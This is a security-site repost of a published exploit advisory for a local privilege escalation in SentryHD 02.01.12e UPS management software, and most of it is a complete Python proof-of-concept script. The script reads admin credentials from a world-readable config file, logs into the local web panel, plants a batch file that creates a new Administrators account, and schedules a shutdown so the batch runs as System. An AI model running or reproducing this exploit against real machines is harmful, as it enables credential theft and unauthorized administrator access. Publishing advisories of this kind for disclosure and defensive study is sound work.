首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SentryHD 02.01.12e - Privilege Escalation
来源:http://security.szurek.pl/ 作者:Szurek 发布时间:2017-01-22  
# Exploit Title: SentryHD 02.01.12e Privilege Escalation
# Date: 18-01-2017
# Software Link: http://www.minutemanups.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: local
 
1. Description
 
Every user can read: c:\Program Files (x86)\SentryHD\config.ini.
 
Inside this ini file we can find login and password for web panel.
 
UPSMan is running on autostart as System.
 
Using Execute Command File we can execute commands on Scheduled system shutdown as System.
 
https://security.szurek.pl/sentryhd-020112e-privilege-escalation.html
 
2. Proof of Concept
 
import ConfigParser
import hashlib
import re
import urllib2
import urllib
from cookielib import CookieJar
import os
import datetime
import subprocess
import time
 
new_user_name = "hacked"
 
print "SentryHD 02.01.12e Privilege Escalation"
print "by Kacper Szurek"
print "http://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"
 
config = ConfigParser.RawConfigParser()
config.read('c:\\Program Files (x86)\\SentryHD\\config.ini')
 
admin_user = config.get("Web", 'User0')
admin_password = config.get("Web", 'Password0')
 
print "[+] Find admin user: '{}' and password: '{}'".format(admin_user, admin_password)
 
cj = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
 
challenge = re.search("\"Challenge\" value=\"(.*?)\"", opener.open("http://localhost/").read())
 
formdata = { "Username" : admin_user, "Password": admin_password, "Challenge" : challenge, "Response":  hashlib.md5(admin_user+admin_password+challenge.group(1)).hexdigest()}
opener.open("http://localhost/delta/login", urllib.urlencode(formdata))
 
if "calcResponse()" in opener.open("http://localhost/home.asp").read():
    print "[-] Failed to login"
    os._exit(0)
 
bat_path = os.path.dirname(os.path.abspath(__file__))+"\\create_user.bat"
payload = open(bat_path, "w")
payload.write("net user {} /add\n".format(new_user_name))
payload.write("net localgroup Administrators {} /add".format(new_user_name))
payload.close()
 
print "[+] Create payload: {}".format(bat_path)
 
formdata = {"ACT_SHUT_TYPE":0, "ACT_UPS_DELAY":10, "ACT_PF_EN": "on", "ACT_OSD_PF":999, "ACT_BL_EN": "on", "ACT_OSD_BL":999, "ACT_SS_EN":"on","ACT_OSD_SS":999, "ACT_LS_EN":"on", "ACT_LS_DELAY":999, "SUB_SHUTDOWN":"Submit"}
opener.open("http://localhost/delta/mgnt_reaction", urllib.urlencode(formdata))
 
formdata = {"ACT_MSG_EN":1, "ACT_MSG_PERIOD":999, "ACT_CMD_EN":1, "ACT_CMD_FILE":bat_path, "ACT_CMD_BEFORE": 990, "SUB_REACTION":"Submit"}
opener.open("http://localhost/delta/mgnt_reaction", urllib.urlencode(formdata))
 
 
current_time = datetime.datetime.today()+datetime.timedelta(0,90)
shutdown_date = current_time.strftime('%m/%d/%Y')
shutdown_time = current_time.strftime('%H:%M')
 
formdata = {"SSH_SD1":shutdown_date, "SSH_TM1":shutdown_time, "SSH_ACT1":1}
opener.open("http://localhost/delta/mgnt_sschedule", urllib.urlencode(formdata))
 
print "[+] Set shutdown time: {} {}".format(shutdown_date, shutdown_time)
 
print "[+] Waiting for user creation"
i = 0
while True:
    if i > 100:
        print "[-] Exploit failed"
        os._exit(0)
 
    netuser, _ = subprocess.Popen("net users", stdout=subprocess.PIPE, stderr=None, shell=False).communicate()
 
    if new_user_name in netuser:
        break
 
    print "." ,
    time.sleep(2)
    i += i
 
print "\n[+] Account created, cancel shutdown"
 
formdata = {"SHUT_CANCEL":"Cancel Countdown"}
opener.open("http://localhost/delta/mgnt_control", urllib.urlencode(formdata))
 
print "[+] OK"
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BoZoN 2.4 - Remote Code Execut
·Tenda ADSL2/2+ Modem D820R - U
·dirLIST 0.3.0 - Arbitrary File
·Pirelli DRG A115 v3 ADSL Route
·WordPress WooCommerce Direct D
·SunOS 5.11 Remote ICMP Weaknes
·Tenda ADSL2/2+ Modem D840R - U
·DiskSavvy Enterprise 9.1.14 /
·Pirelli DRG A115 ADSL Router -
·PageKit 1.0.10 - Password Rese
·iSelect v1.4 - Local Buffer Ov
·Python 2.x Buffer Overflow
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved